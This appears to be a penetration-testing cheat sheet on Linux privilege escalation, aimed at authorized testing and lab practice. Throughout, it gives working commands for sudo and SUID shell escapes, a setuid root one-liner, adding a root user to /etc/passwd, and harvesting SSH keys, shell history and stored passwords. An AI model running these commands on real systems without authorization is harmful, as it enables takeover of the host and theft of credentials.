Linux Privilege Escalation

SUID, sudo, cron, capabilities, PATH & kernel — the full root checklist

Linux Privilege Escalation Cheat Sheet

A practical checklist to go from a low-priv shell to root on Linux: enumeration, SUID, sudo, cron, capabilities, PATH, and kernel exploits. For authorized testing only.

0. Automate the enumeration first

./linpeas.sh          # the standard — run it first
./lse.sh -l1          # linux-smart-enumeration

Then verify the interesting findings by hand below.

1. Who/what am I

id; whoami; sudo -l
hostname; uname -a            # kernel version
cat /etc/os-release
ip a; netstat -tulpn          # internal services

2. sudo misconfigurations (check first — easiest win)

sudo -l

• Any binary you can sudo? Check GTFOBins for the escape, e.g.:

  sudo find . -exec /bin/sh \; -quit
  sudo vim -c ':!/bin/sh'
  sudo less /etc/profile   # then !/bin/sh
  

• sudo with env_keep / LD_PRELOAD? Exploitable.
• (ALL) NOPASSWD: ALL → sudo su.

3. SUID / SGID binaries

find / -perm -4000 -type f 2>/dev/null      # SUID
find / -perm -2000 -type f 2>/dev/null      # SGID

Cross-reference each unusual one with GTFOBins (SUID section). Classic wins: find, bash, nmap (old), cp, vim, python.

4. Cron jobs

cat /etc/crontab
ls -la /etc/cron.*
cat /var/spool/cron/crontabs/* 2>/dev/null

A root cron running a world-writable script (or one using a relative path / wildcard) = code exec as root. Watch processes with pspy.

5. Capabilities

getcap -r / 2>/dev/null

cap_setuid+ep on python/perl = instant root:

/usr/bin/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'

6. Writable PATH / weak file perms

echo $PATH
find / -writable -type d 2>/dev/null            # writable dirs
find / -perm -2 -type f 2>/dev/null              # world-writable files
ls -la /etc/passwd /etc/shadow                   # writable? game over

Writable /etc/passwd? Add a root user:

openssl passwd -1 -salt x pass        # → hash
echo 'r00t:HASH:0:0:root:/root:/bin/bash' >> /etc/passwd; su r00t

7. Credentials lying around

grep -riE 'password|passwd|secret|api[_-]?key' /var/www /home /etc 2>/dev/null
cat ~/.bash_history ~/.ssh/id_rsa 2>/dev/null
find / -name "*.conf" -o -name "config.php" 2>/dev/null

8. Kernel exploits (last resort — can crash the box)

uname -r
searchsploit linux kernel <version>

e.g. DirtyCow, DirtyPipe, PwnKit (pkexec), Sudo Baron Samedit — only if nothing else works.

9. NFS root squashing

cat /etc/exports   # look for no_root_squash → mount, drop a SUID root binary

Authorized targets only. Practice the full chain on the AYSEC pro-labs. Pair with the reverse shell and Windows privesc cheat sheets.